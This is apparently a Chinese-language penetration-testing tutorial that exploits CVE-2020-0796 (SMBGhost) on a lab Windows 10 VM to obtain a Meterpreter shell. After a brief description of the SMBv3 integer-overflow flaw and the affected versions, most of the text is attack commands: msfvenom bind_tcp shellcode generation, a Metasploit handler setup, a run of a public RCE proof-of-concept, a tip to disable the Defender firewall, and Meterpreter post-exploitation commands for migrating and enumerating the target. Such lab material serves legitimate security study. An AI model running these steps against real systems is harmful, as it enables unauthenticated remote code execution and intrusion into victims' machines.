0796到Meterpreter后渗透攻击

一、CVE-2020-0796简介 0x01 漏洞简介

CVE-2020-0796是由于SMBv3协议在处理恶意的压缩数据包时出错所造成的；在解压数据包的时候使用客户端传过来的长度进行解压时，并没有检查长度是否合法，最终导致整数溢出。它可让远程且未经身份验证的攻击者在目标系统上执行任意代码，该漏洞类似于永恒之蓝。

Windows 10 Version 1903 for 32-bit Systems

Windows 10 Version 1903 for x64-based Systems

Windows 10 Version 1903 for ARM64-based Systems

Windows Server, Version 1903 (Server Core installation)

Windows 10 Version 1909 for 32-bit Systems

Windows 10 Version 1909 for x64-based Systems

Windows 10 Version 1909 for ARM64-based Systems

Windows Server, Version 1909 (Server Core installation)

靶机：存在漏洞的win10虚拟机环境，下载地址https://msdn.itellyou.cn/

攻击机：kali

Poc：https://github.com/chompie1337/SMBGhost_RCE_PoC

msfvenom -p windows/x64/meterpreter/bind_tcp lport=3333 -f py -o shellcode.txt

msf5 > use exploit/multi/handler

msf5 exploit(multi/handler) > set payload windows/x64/meterpreter/bind_tcp

payload => windows/x64/meterpreter/bind_tcp

msf5 exploit(multi/handler) > set rhost 192.168.232.134

rhost => 192.168.232.134

msf5 exploit(multi/handler) > set lport 3333

lport => 3333

msf5 exploit(multi/handler) > exploit

python3 exploit.py -ip 192.168.232.134

注意要关闭 Microsoft Defender 防火墙，要不不能执行成功。

在刚获得Meterpreter shell时，该shell是极其脆肉和易被发现的，所以第一步要移动这个shelll，把它和目标机中一个稳定的进程绑定在一起。

meterpreter > getpid \获取当前Meterpreter shell进程PID

meterpreter > sysinfo \sysinfo查看目标机的系统信息

meterpreter > run post/windows/gather/enum_applications \列举应用程序